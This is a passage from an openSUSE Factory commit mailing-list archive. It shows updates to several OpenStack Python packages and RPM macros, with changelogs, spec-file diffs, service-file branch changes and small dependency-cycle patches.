name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-oslo.context.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,oslo.context</param> </service> ++++++ oslo.context-2.12.1.tar.gz -> oslo.context-2.17.0.tar.gz ++++++ ++++ 1634 lines of diff (skipped)

1 0

commit python-freezerclient for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-freezerclient for openSUSE:Factory checked in at 2017-08-28 15:32:28 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-freezerclient (Old) and /work/SRC/openSUSE:Factory/.python-freezerclient.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-freezerclient" Mon Aug 28 15:32:28 2017 rev:2 rq:518345 version:1.5.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-freezerclient/python-freezerclient.changes 2017-04-06 11:02:00.852736855 +0200 +++ /work/SRC/openSUSE:Factory/.python-freezerclient.new/python-freezerclient.changes 2017-08-28 15:32:30.463338856 +0200 @@ -1,0 +2,40 @@ +Wed Aug 23 08:20:19 UTC 2017 - tbechtold(a)suse.com + +- add 0001-Remove-astroid-from-test-requirements.patch + +------------------------------------------------------------------- +Mon Aug 7 08:51:54 UTC 2017 - cloud-devel(a)suse.de + +- update to version 1.5.0 + - Enable some off-by-default checks + - Drop MANIFEST.in + - Fix ssl connections + - Fix 'freezer client-delete' error + - [Fix gate]Update test requirement + - Replace http with https + - Update reno for stable/ocata + - Remove unused components from requirements + - Set OS_BACKUP_API_VERSION to v1 + - Use bindep to define binary deps + - Import cli-reference content from openstack-manuals + - Update message for job start/stop/abort + - Enable client deletion + - Update python-freezerclient for pike goal python 3.5 + - Added session-start option to allow starting sessions + - Fix freezer client-* output + - Fix SSL connections initiated from freezer-scheduler + - Added obj file to delete at testenv + - Change author in setup.cfg + - Freezerclient v2 + - client-id is now required when creating jobs + - Use pbr for version numbers + - Enable project_id for multi-domain support + - Follow up to I87f0add4dc2bcece832197cfc88e2d531a80a326 + - Displaying job status + - Remove py34 from tox + - Update documentation URLs + - Deletion of backup metadata + - Updated from global requirements + - Switch to openstackdocstheme + +------------------------------------------------------------------- Old: ---- python-freezerclient-1.3.0.tar.gz New: ---- 0001-Remove-astroid-from-test-requirements.patch python-freezerclient-1.5.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-freezerclient.spec ++++++ --- /var/tmp/diff_new_pack.unaLOI/_old 2017-08-28 15:32:31.807149931 +0200 +++ /var/tmp/diff_new_pack.unaLOI/_new 2017-08-28 15:32:31.819148244 +0200 @@ -17,34 +17,35 @@ Name: python-freezerclient -Version: 1.3.0 +Version: 1.5.0 Release: 0 Summary: Python API and CLI for OpenStack Freezer License: Apache-2.0 Group: Development/Languages/Python Url: http://launchpad.net/%{name} Source0: https://pypi.io/packages/source/p/%{name}/%{name}-%{version}.tar.gz +# https://review.openstack.org/#/c/496487/ +Patch1: 0001-Remove-astroid-from-test-requirements.patch BuildRequires: openstack-macros -BuildRequires: python-astroid >= 1.4.0 BuildRequires: python-devel BuildRequires: python-fixtures >= 3.0.0 BuildRequires: python-keystoneclient >= 3.8.0 BuildRequires: python-mock >= 2.0 BuildRequires: python-oslo.i18n >= 2.1.0 -BuildRequires: python-oslo.utils >= 3.18.0 +BuildRequires: python-oslo.utils >= 3.20.0 BuildRequires: python-oslotest >= 1.10.0 -BuildRequires: python-pbr >= 1.8 +BuildRequires: python-pbr >= 2.0.0 BuildRequires: python-python-subunit >= 0.0.18 BuildRequires: python-setuptools >= 16.0 BuildRequires: python-testrepository >= 0.0.18 BuildRequires: python-testtools >= 1.4.0 -Requires: python-cliff >= 2.3.0 +Requires: python-cliff >= 2.6.0 Requires: python-keystoneclient >= 3.8.0 -Requires: python-oslo.config >= 3.14.0 +Requires: python-oslo.config >= 4.0.0 Requires: python-oslo.i18n >= 2.1.0 -Requires: python-oslo.log >= 3.11.0 -Requires: python-oslo.utils >= 3.18.0 -Requires: python-pbr >= 1.8 +Requires: python-oslo.log >= 3.22.0 +Requires: python-oslo.utils >= 3.20.0 +Requires: python-pbr >= 2.0.0 Requires: python-six >= 1.9.0 BuildArch: noarch @@ -56,7 +57,7 @@ Summary: Documentation for OpenStack Freezer API client libary Group: Documentation BuildRequires: python-Sphinx -BuildRequires: python-oslosphinx >= 4.7.0 +BuildRequires: python-openstackdocstheme >= 1.11.0 %description doc Client library for Freezer built on the Freezer API. It provides a Python API @@ -64,8 +65,9 @@ This package contains the documentation. %prep -%autosetup -n %{name}-%{version} +%autosetup -p1 -n %{name}-%{version} %py_req_cleanup +sed -i 's/^warning-is-error.*/warning-is-error = 0/g' setup.cfg %build %py2_build ++++++ 0001-Remove-astroid-from-test-requirements.patch ++++++ >From 6167ca63e36211e7bdb21cf1a5565b104b29c7e8 Mon Sep 17 00:00:00 2001 From: Thomas Bechtold <tbechtold(a)suse.com> Date: Wed, 23 Aug 2017 07:11:34 +0200 Subject: [PATCH] Remove astroid from test-requirements It is not used. Change-Id: I83fa5bca212f7944dad1bdde613c8eb98ba619f7 --- test-requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/test-requirements.txt b/test-requirements.txt index 3b1f717..eeb0cfa 100644 --- a/test-requirements.txt +++ b/test-requirements.txt @@ -12,4 +12,3 @@ openstackdocstheme>=1.16.0 # Apache-2.0 testrepository>=0.0.18 # Apache-2.0/BSD testtools>=1.4.0 # MIT reno!=2.3.1,>=1.8.0 # Apache-2.0 -astroid<1.4.0 # LGPLv2.1 # breaks pylint 1.4.4 -- 2.14.1 ++++++ _service ++++++ --- /var/tmp/diff_new_pack.unaLOI/_old 2017-08-28 15:32:32.151101575 +0200 +++ /var/tmp/diff_new_pack.unaLOI/_new 2017-08-28 15:32:32.155101012 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-freezerclient.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,python-freezerclient</param> </service> ++++++ python-freezerclient-1.3.0.tar.gz -> python-freezerclient-1.5.0.tar.gz ++++++ ++++ 3450 lines of diff (skipped)

1 0

commit python-oslo.db for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-oslo.db for openSUSE:Factory checked in at 2017-08-28 15:32:26 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-oslo.db (Old) and /work/SRC/openSUSE:Factory/.python-oslo.db.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-oslo.db" Mon Aug 28 15:32:26 2017 rev:11 rq:518171 version:4.25.0 Changes: -------- --- /work/SRC/openSUSE:Factory/python-oslo.db/python-oslo.db.changes 2017-02-21 13:42:03.346490581 +0100 +++ /work/SRC/openSUSE:Factory/.python-oslo.db.new/python-oslo.db.changes 2017-08-28 15:32:28.599600879 +0200 @@ -1,0 +2,40 @@ +Tue Aug 22 17:40:40 UTC 2017 - tbechtold(a)suse.com + +- Remove python-MySQL-python BuildRequires + +------------------------------------------------------------------- +Mon Aug 7 13:43:06 UTC 2017 - cloud-devel(a)suse.de + +- update to version 4.25.0 + - Imported Translations from Zanata + - Support facade arguments, unstarted facade for patch_engine() + - Update reno for stable/ocata + - switch from oslosphinx to openstackdocstheme + - Add 'save_and_reraise_exception' method when call 'session.rollback()' + - Remove references to Python 3.4 + - Warn on URL without a drivername + - Coerce booleans to integer values in paginate_query + - Fix db_version checking for sqlalchemy-migrate + - Explain paginate_query doesn't provide parameter offset + - Don't access connection.info if connection is invalidated + - Repair unused rollback_reader_sessions parameter. + - Fix compatibility with SQLAlchemy < 1.1.0 + - Enable MySQL Storage Engine selection + - Using assertIsNone(xxx) instead of assertEqual(None, xxx) + - Raise only DbMigrationError from migrate 'upgrade' method + - Remove deprecated config option sqlite_db + - rearrange content to fit the new standard layout + - Prepare for using standard python tests + - Move oslo.context to test-requirements + - Attach context being used to session/connection info + - Remove unused logging import + - Remove log translations + - Updated from global requirements + - Update URLs according to document migration + - Update test requirement + - update the docs url in the readme + - add release note for new warning about missing driver + - turn on warning-is-error in doc build + - Establish flush() for "sub" facade contexts + +------------------------------------------------------------------- Old: ---- oslo.db-4.17.0.tar.gz New: ---- oslo.db-4.25.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-oslo.db.spec ++++++ --- /var/tmp/diff_new_pack.yXbsMJ/_old 2017-08-28 15:32:29.583462558 +0200 +++ /var/tmp/diff_new_pack.yXbsMJ/_new 2017-08-28 15:32:29.603459747 +0200 @@ -18,7 +18,7 @@ %global sname oslo.db Name: python-oslo.db -Version: 4.17.0 +Version: 4.25.0 Release: 0 Summary: OpenStack oslo.db library License: Apache-2.0 @@ -26,41 +26,40 @@ Url: https://launchpad.net/%{sname} Source0: https://pypi.io/packages/source/o/%{sname}/%{sname}-%{version}.tar.gz BuildRequires: openstack-macros -BuildRequires: python-MySQL-python BuildRequires: python-PyMySQL >= 0.7.6 -BuildRequires: python-alembic >= 0.8.4 +BuildRequires: python-alembic >= 0.8.10 BuildRequires: python-debtcollector >= 1.2.0 BuildRequires: python-devel BuildRequires: python-eventlet >= 0.18.2 BuildRequires: python-fixtures >= 3.0.0 BuildRequires: python-mock >= 2.0 -BuildRequires: python-oslo.config >= 3.14.0 -BuildRequires: python-oslo.context >= 2.9.0 +BuildRequires: python-oslo.config >= 4.0.0 +BuildRequires: python-oslo.context >= 2.14.0 BuildRequires: python-oslo.i18n >= 2.1.0 -BuildRequires: python-oslo.utils >= 3.18.0 +BuildRequires: python-oslo.utils >= 3.20.0 BuildRequires: python-oslotest >= 1.10.0 -BuildRequires: python-pbr >= 1.8 +BuildRequires: python-pbr >= 2.0.0 BuildRequires: python-psycopg2 >= 2.5 BuildRequires: python-python-subunit >= 0.0.18 BuildRequires: python-reno >= 1.8.0 BuildRequires: python-six >= 1.9.0 -BuildRequires: python-sqlalchemy-migrate >= 0.9.6 +BuildRequires: python-sqlalchemy-migrate >= 0.11.0 BuildRequires: python-testrepository >= 0.0.18 BuildRequires: python-testresources >= 0.2.4 BuildRequires: python-testscenarios >= 0.4 BuildRequires: python-testtools >= 1.4.0 Requires: python-PyMySQL >= 0.7.6 Requires: python-SQLAlchemy >= 1.0.10 -Requires: python-alembic >= 0.8.4 +Requires: python-alembic >= 0.8.10 Requires: python-debtcollector >= 1.2.0 -Requires: python-oslo.config >= 3.14.0 -Requires: python-oslo.context >= 2.9.0 +Requires: python-oslo.config >= 4.0.0 +Requires: python-oslo.context >= 2.14.0 Requires: python-oslo.i18n >= 2.1.0 -Requires: python-oslo.utils >= 3.18.0 +Requires: python-oslo.utils >= 3.20.0 Requires: python-psycopg2 >= 2.5 Requires: python-six >= 1.9.0 -Requires: python-sqlalchemy-migrate >= 0.9.6 -Requires: python-stevedore >= 1.17.1 +Requires: python-sqlalchemy-migrate >= 0.11.0 +Requires: python-stevedore >= 1.20.0 BuildArch: noarch %description @@ -74,7 +73,7 @@ Summary: Documentation for the Oslo database handling library Group: Documentation BuildRequires: python-Sphinx -BuildRequires: python-oslosphinx >= 4.7.0 +BuildRequires: python-openstackdocstheme >= 1.11.0 %description doc Documentation for the Oslo database handling library. @@ -82,6 +81,7 @@ %prep %autosetup -n %{sname}-%{version} %py_req_cleanup +sed -i 's/^warning-is-error.*/warning-is-error = 0/g' setup.cfg %build %{py2_build} ++++++ _service ++++++ --- /var/tmp/diff_new_pack.yXbsMJ/_old 2017-08-28 15:32:29.695446815 +0200 +++ /var/tmp/diff_new_pack.yXbsMJ/_new 2017-08-28 15:32:29.695446815 +0200 @@ -1,8 +1,8 @@ <services> <service mode="disabled" name="renderspec"> - <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/open…</param> + <param name="input-template">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/opens…</param> <param name="output-name">python-oslo.db.spec</param> - <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/ocata/glob…</param> + <param name="requirements">https://raw.githubusercontent.com/openstack/rpm-packaging/stable/pike/globa…</param> <param name="changelog-email">cloud-devel(a)suse.de</param> <param name="changelog-provider">gh,openstack,oslo.db</param> </service> ++++++ oslo.db-4.17.0.tar.gz -> oslo.db-4.25.0.tar.gz ++++++ ++++ 4308 lines of diff (skipped)

1 0

commit openstack-macros for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package openstack-macros for openSUSE:Factory checked in at 2017-08-28 15:32:23 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/openstack-macros (Old) and /work/SRC/openSUSE:Factory/.openstack-macros.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "openstack-macros" Mon Aug 28 15:32:23 2017 rev:5 rq:518112 version:2017.2 Changes: -------- --- /work/SRC/openSUSE:Factory/openstack-macros/openstack-macros.changes 2017-04-11 09:46:16.591644574 +0200 +++ /work/SRC/openSUSE:Factory/.openstack-macros.new/openstack-macros.changes 2017-08-28 15:32:26.287925875 +0200 @@ -1,0 +2,15 @@ +Tue Aug 22 11:16:31 UTC 2017 - opensuse-packaging(a)opensuse.org + +- Update to version 2017.2: + * Add apache related macros + * Bump openstack-macros to include new Apache macros + * switch use of python_sitelib macro to python2_sitelib + * Added OpenStack Macros for fedora + +------------------------------------------------------------------- +Thu Apr 06 11:17:24 UTC 2017 - tbechtold(a)suse.com + +- Update to version 2017.2: + * Bump openstack-macros to include new Apache macros + +------------------------------------------------------------------- Old: ---- openstack-macros-2017.1.tar.bz2 New: ---- openstack-macros-2017.2.tar.bz2 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ openstack-macros.spec ++++++ --- /var/tmp/diff_new_pack.axva8i/_old 2017-08-28 15:32:27.799713334 +0200 +++ /var/tmp/diff_new_pack.axva8i/_new 2017-08-28 15:32:27.835708273 +0200 @@ -20,7 +20,7 @@ %global rdo 1 %endif Name: openstack-macros -Version: 2017.1 +Version: 2017.2 Release: 0 Summary: OpenStack Packaging - RPM Macros License: Apache-2.0 ++++++ _service ++++++ --- /var/tmp/diff_new_pack.axva8i/_old 2017-08-28 15:32:28.015682971 +0200 +++ /var/tmp/diff_new_pack.axva8i/_new 2017-08-28 15:32:28.015682971 +0200 @@ -7,13 +7,13 @@ <param name="scm">git</param> <param name="exclude">.git</param> <param name="filename">openstack-macros</param> - <param name="revision">stable/ocata</param> - <param name="version">2017.1</param> + <param name="revision">stable/pike</param> + <param name="version">2017.2</param> <param name="changesgenerate">enable</param> <param name="subdir">openstack/openstack-macros</param> </service> <service name="recompress" mode="disabled"> - <param name="file">openstack-macros-2017.1.tar</param> + <param name="file">openstack-macros-2017.2.tar</param> <param name="compression">bz2</param> </service> </services> ++++++ _servicedata ++++++ --- /var/tmp/diff_new_pack.axva8i/_old 2017-08-28 15:32:28.067675661 +0200 +++ /var/tmp/diff_new_pack.axva8i/_new 2017-08-28 15:32:28.071675099 +0200 @@ -1,4 +1,4 @@ <servicedata> <service name="tar_scm"> <param name="url">git@github.com:openstack/rpm-packaging.git</param> - <param name="changesrevision">012c712ab8459abdab81b0250eb085c74a2cb344</param></service></servicedata> \ No newline at end of file + <param name="changesrevision">773e227e95f47ac8e8ac298b5747ebb9b9a1580f</param></service></servicedata> \ No newline at end of file ++++++ openstack-macros-2017.1.tar.bz2 -> openstack-macros-2017.2.tar.bz2 ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/openstack-macros-2017.1/macros.openstack-common new/openstack-macros-2017.2/macros.openstack-common --- old/openstack-macros-2017.1/macros.openstack-common 2017-04-06 11:52:21.000000000 +0200 +++ new/openstack-macros-2017.2/macros.openstack-common 2017-08-17 17:33:49.000000000 +0200 @@ -43,5 +43,5 @@ smoketests static test tests tools tox.ini \\\ %{buildroot}/%{openstack_test_package_dir} || : \ rm -rf %{buildroot}/%{openstack_test_package_dir}/%1 \ -ln -s %{python_sitelib}/%1 %{buildroot}/%{openstack_test_package_dir}/%1 \ +ln -s %{python2_sitelib}/%1 %{buildroot}/%{openstack_test_package_dir}/%1 \ %nil diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/openstack-macros-2017.1/macros.openstack-fedora new/openstack-macros-2017.2/macros.openstack-fedora --- old/openstack-macros-2017.1/macros.openstack-fedora 1970-01-01 01:00:00.000000000 +0100 +++ new/openstack-macros-2017.2/macros.openstack-fedora 2017-08-17 17:33:49.000000000 +0200 @@ -0,0 +1,65 @@ +# Fedora macros + +# Create given user with given group (to be used as %pre scriptlet for +# openstack related daemons). Also migrates away from openstack- prefixed +# users/group if it exists +# Optional: +# -u userid to pick +# -g groupid to pick +# -s shell to pick +# Example: openstack_pre_user_group_create keystone keystone +%openstack_pre_user_group_create(u:g:s:) \ + getent group %2 >/dev/null || { \ + groupadd -r %2 $oldg \ + } \ + getent passwd %1 >/dev/null || { \ + useradd -r -g %2 %{-u:-u %{-u*}} -d %{_sharedstatedir}/%1 %{-s:-s %{-s*}}%{!-s: -s /sbin/nologin} -c "OpenStack %1 Daemon" %1 \ + } \ +%nil + +# +# Macro for removing requirements.txt file +# +%py_req_cleanup rm -rf *requirements.txt + +# Create a fake tempest plugin entry point which will +# resides under %{python2_sitelib}/%{service}_tests.egg-info. +# The prefix is %py2_entrypoint %{modulename} %{service} +# where service is the name of the openstack-service or the modulename +# It should used under %install section +# the generated %{python2_sitelib}/%{service}_tests.egg-info +# will go under %files section of tempest plugin subpackage +# Example: %py2_entrypoint %{modulename} %{service} +# In most of the cases %{service} is same as %{modulename} +# but in case of neutron plugins it is different +# like servicename is neutron-lbaas and modulename is neutron_lbass +%py2_entrypoint() \ +egg_path=%{buildroot}%{python2_sitelib}/%{1}-*.egg-info \ +tempest_egg_path=%{buildroot}%{python2_sitelib}/%{1}_tests.egg-info \ +mkdir $tempest_egg_path \ +grep "tempest\\|Tempest" %{1}.egg-info/entry_points.txt >$tempest_egg_path/entry_points.txt \ +sed -i "/tempest\\|Tempest/d" $egg_path/entry_points.txt \ +cp -r $egg_path/PKG-INFO $tempest_egg_path \ +sed -i "s/%{2}/%{1}_tests/g" $tempest_egg_path/PKG-INFO \ +%nil + +# Macro for creating a fake tempest plugin entrypoint +# Usage: %py3_entrypoint %{modulename} %{service} +%py3_entrypoint() \ +egg_path=%{buildroot}%{python3_sitelib}/%{1}-*.egg-info \ +tempest_egg_path=%{buildroot}%{python3_sitelib}/%{1}_tests.egg-info \ +mkdir $tempest_egg_path \ +grep "tempest\\|Tempest" %{1}.egg-info/entry_points.txt >$tempest_egg_path/entry_points.txt \ +sed -i "/tempest\\|Tempest/d" $egg_path/entry_points.txt \ +cp -r $egg_path/PKG-INFO $tempest_egg_path \ +sed -i "s/%{2}/%{1}_tests/g" $tempest_egg_path/PKG-INFO \ +%nil + +# +# Apache related macros +# +%apache_name httpd +%apache_site_dir %{_sysconfdir}/%{apache_name}/conf.d/ +%apache_conf_dir %{_sysconfdir}/%{apache_name}/conf.d/ +%apache_user apache +%apache_group apache diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/openstack-macros-2017.1/openstack-macros.spec.j2 new/openstack-macros-2017.2/openstack-macros.spec.j2 --- old/openstack-macros-2017.1/openstack-macros.spec.j2 2017-04-06 11:52:21.000000000 +0200 +++ new/openstack-macros-2017.2/openstack-macros.spec.j2 2017-08-17 17:33:49.000000000 +0200 @@ -1,8 +1,8 @@ -%if 0%{?rhel} || 0%{?fedora} +%if 0%{?rhel} %global rdo 1 %endif Name: openstack-macros -Version: 2017.1.5 +Version: 2017.1.6 Release: 0 Summary: OpenStack Packaging - RPM Macros License: {{ license('Apache-2.0') }} @@ -11,6 +11,7 @@ Source0: macros.openstack-common Source1: macros.openstack-suse Source2: macros.openstack-rdo +Source3: macros.openstack-fedora BuildArch: noarch %if 0%{?rdo} Obsoletes: rdo-rpm-macros <= 1-3 @@ -35,6 +36,9 @@ %if 0%{?rdo} install -D -m644 %{SOURCE2} %{buildroot}%{_sysconfdir}/rpm/macros.openstack-rdo %endif +%if 0%{?fedora} +install -D -m644 %{SOURCE2} %{buildroot}%{_sysconfdir}/rpm/macros.openstack-fedora +%endif %files %{_sysconfdir}/rpm/macros.openstack-common @@ -44,6 +48,8 @@ %if 0%{?rdo} %{_sysconfdir}/rpm/macros.openstack-rdo %endif +%if 0%{?fedora} +%{_sysconfdir}/rpm/macros.openstack-fedora +%endif %changelog -

1 0

commit python-openstackdocstheme for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package python-openstackdocstheme for openSUSE:Factory checked in at 2017-08-28 15:32:19 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python-openstackdocstheme (Old) and /work/SRC/openSUSE:Factory/.python-openstackdocstheme.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python-openstackdocstheme" Mon Aug 28 15:32:19 2017 rev:4 rq:515731 version:1.16.1 Changes: -------- --- /work/SRC/openSUSE:Factory/python-openstackdocstheme/python-openstackdocstheme.changes 2017-02-21 13:40:45.449479783 +0100 +++ /work/SRC/openSUSE:Factory/.python-openstackdocstheme.new/python-openstackdocstheme.changes 2017-08-28 15:32:24.332200828 +0200 @@ -1,0 +2,70 @@ +Wed Aug 9 14:08:22 UTC 2017 - tbechtold(a)suse.com + +- add 0001-Break-cycle-dependency-with-reno.patch + +------------------------------------------------------------------- +Mon Aug 7 06:26:02 UTC 2017 - cloud-devel(a)suse.de + +- update to version 1.16.1 + - Fix sorting of git versions + - Standardise header styling + - PDF support for sample document with font + - Enable some off-by-default checks + - Cleanup conf.py + - automate some of the extension setup + - Update 2 documentation URLs according to doc migration + - CSS: Add margin-left to <dd> + - Fix Added / Changed / Deprecated notices + - README: Update configuration of openstackdocstheme + - Add note in README about Python 3 changes + - Require bug_project setting + - Update hacking to current version + - Add alignment styling for figures and images + - Change name of checkbuild testenv to buildpdf for clarity + - Fix search.html page script errors + - Fix missing role_id + - Allow using openstackdocstheme without git installed + - Updates "Contents" to "Project home page" to better match existing + - Update css markups for newer Sphinx + - Do not display title string of page local TOC + - Fix links in drop-down menu under Join; add https + - move the localtoc for the page into the sidebar + - remove smooth scrolling + - Add spaces in demo for deprecation notices + - Declare parallel reading safe + - add a comment to all output HTML pages showing the input file + - show the current project name and version in navigation link + - Update bootstrap and jquery files + - Strip tags from navigation prev, next titles + - Serve minified CSS + - Add tox env for PDF building + - move documentation from readme to sphinx tree + - Adding octavia api-ref + - Increase admonition.important contrast + - Add warning-is-error + - Clarify search title + - Working on integrating options from oslosphinx theme + - Update Site Search + - Use new OpenStack logo and header + - Adjust 'docs-toc a' display value + - Use https instead of http for git.openstack.org + - Remove duplicate search field from the left sidebar + - Update Launchpad info + - Adds list of versions in the "Updated" bar + - Adds docs for release versions dropdown menu + - Update docs + - Remove rules linked to a "Status" ID + - Remove getJSON function and doc-characters file + - Minimal support for storyboard + - switch release notes build to use openstackdocs instead of oslosphinx + - Add note for show_other_versions + - PDF build support >= Sphinx 1.6.1 + - fix alignment of toc tree items in sidebar + - Adds LaTeX style file for building PDF documents + - Fix a logic issue in the JS + - Move from 3rd party fonts to native font stack + - Updated from global requirements + - Add support for versionadded and deprecated +- Add 0001-Break-cycle-dependency-with-os-api-ref.patch + +------------------------------------------------------------------- Old: ---- openstackdocstheme-1.6.1.tar.gz New: ---- 0001-Break-cycle-dependency-with-os-api-ref.patch 0001-Break-cycle-dependency-with-reno.patch openstackdocstheme-1.16.1.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python-openstackdocstheme.spec ++++++ --- /var/tmp/diff_new_pack.F6C6ND/_old 2017-08-28 15:32:25.472040580 +0200 +++ /var/tmp/diff_new_pack.F6C6ND/_new 2017-08-28 15:32:25.476040017 +0200 @@ -18,23 +18,24 @@ %global sname openstackdocstheme Name: python-openstackdocstheme -Version: 1.6.1 +Version: 1.16.1 Release: 0 Summary: OpenStack Docs Theme License: Apache-2.0 Group: Development/Languages/Python Url: https://launchpad.net/%{sname} Source0: https://pypi.io/packages/source/o/%{sname}/%{sname}-%{version}.tar.gz +# https://review.openstack.org/491157 +Patch1: 0001-Break-cycle-dependency-with-os-api-ref.patch +# 0001-Break-cycle-dependency-with-reno.patch +Patch2: 0001-Break-cycle-dependency-with-reno.patch BuildRequires: openstack-macros BuildRequires: python-Sphinx BuildRequires: python-devel -BuildRequires: python-oslosphinx >= 4.7.0 -BuildRequires: python-pbr >= 1.8 -BuildRequires: python-requests >= 2.10.0 +BuildRequires: python-pbr >= 2.0.0 +BuildRequires: python-requests >= 2.14.2 BuildRequires: python-setuptools >= 16.0 Requires: python-Sphinx -Requires: python-oslosphinx >= 4.7.0 -Requires: python-requests >= 2.10.0 BuildArch: noarch %description @@ -42,7 +43,10 @@ to docs.openstack.org. Intended for use by OpenStack projects. %prep -%autosetup -n %{sname}-%{version} +%autosetup -p1 -n %{sname}-%{version} + +# we dont need hacking +sed -i '/^hacking.*/d' test-requirements.txt %py_req_cleanup %build @@ -52,7 +56,7 @@ %py2_install %check -%{__python2} setup.py testr +%{__python2} setup.py test %files %license LICENSE ++++++ 0001-Break-cycle-dependency-with-os-api-ref.patch ++++++ >From 8454efe607dc036b5ca0038e4c43768f0537f2ed Mon Sep 17 00:00:00 2001 From: Thomas Bechtold <tbechtold(a)suse.com> Date: Sat, 5 Aug 2017 08:58:33 +0200 Subject: [PATCH] Break cycle dependency with os-api-ref openstackdocstheme requires os-api-ref for testing, but os-api-ref requires openstackdocstheme. To break this, make os-api-ref an optional test requirement. Change-Id: Ibbd01f63a516a49133cd8cdd4cf0cfe69bbaecaf --- setup.cfg | 6 ++++++ test-requirements.txt | 2 -- tox.ini | 1 + 3 files changed, 7 insertions(+), 2 deletions(-) Index: openstackdocstheme-1.16.1/setup.cfg =================================================================== --- openstackdocstheme-1.16.1.orig/setup.cfg +++ openstackdocstheme-1.16.1/setup.cfg @@ -19,6 +19,12 @@ classifier = Programming Language :: Python :: 3.5 Topic :: Documentation +[extras] +test = + # os-api-ref needs openstackdocstheme which needs os-api-ref (cycle dep) + # so put os-api-ref in extras to make it an optional test dependency + os-api-ref>=1.0.0 # Apache-2.0 + [global] setup-hooks = pbr.hooks.setup_hook Index: openstackdocstheme-1.16.1/test-requirements.txt =================================================================== --- openstackdocstheme-1.16.1.orig/test-requirements.txt +++ openstackdocstheme-1.16.1/test-requirements.txt @@ -8,5 +8,3 @@ hacking!=0.13.0,<0.14,>=0.12.0 # Apache- sphinx>=1.6.2 # BSD reno!=2.3.1,>=1.8.0 # Apache-2.0 - -os-api-ref>=1.0.0 # Apache-2.0 Index: openstackdocstheme-1.16.1/tox.ini =================================================================== --- openstackdocstheme-1.16.1.orig/tox.ini +++ openstackdocstheme-1.16.1/tox.ini @@ -6,6 +6,7 @@ envlist = pep8 usedevelop = False install_command = {toxinidir}/tools/tox_install.sh {env:UPPER_CONSTRAINTS_FILE:https://git.openstack.org/cgit/openstack/requirements/plain/upper-constraints.txt} {opts} {packages} deps = -r{toxinidir}/test-requirements.txt + .[test] setenv = VIRTUAL_ENV={envdir} BRANCH_NAME=master CLIENT_NAME=openstackdocstheme ++++++ 0001-Break-cycle-dependency-with-reno.patch ++++++ >From 6fbcadb45f9f0fd90cddc0fcdfa13de4bb0b83c9 Mon Sep 17 00:00:00 2001 From: Thomas Bechtold <tbechtold(a)suse.com> Date: Wed, 9 Aug 2017 15:44:14 +0200 Subject: [PATCH] Break cycle dependency with reno openstackdocstheme requires reno for testing, but reno requires openstackdocstheme. To break this, make reno an optional test requirement. Change-Id: I267e0216089038a15df8221efc1fcd365e0809be --- setup.cfg | 2 ++ test-requirements.txt | 2 -- 2 files changed, 2 insertions(+), 2 deletions(-) Index: openstackdocstheme-1.16.1/setup.cfg =================================================================== --- openstackdocstheme-1.16.1.orig/setup.cfg +++ openstackdocstheme-1.16.1/setup.cfg @@ -24,6 +24,8 @@ test = # os-api-ref needs openstackdocstheme which needs os-api-ref (cycle dep) # so put os-api-ref in extras to make it an optional test dependency os-api-ref>=1.0.0 # Apache-2.0 + # reno needs openstackdocstheme which needs reno (cycle dep) + reno!=2.3.1,>=1.8.0 # Apache-2.0 [global] setup-hooks = Index: openstackdocstheme-1.16.1/test-requirements.txt =================================================================== --- 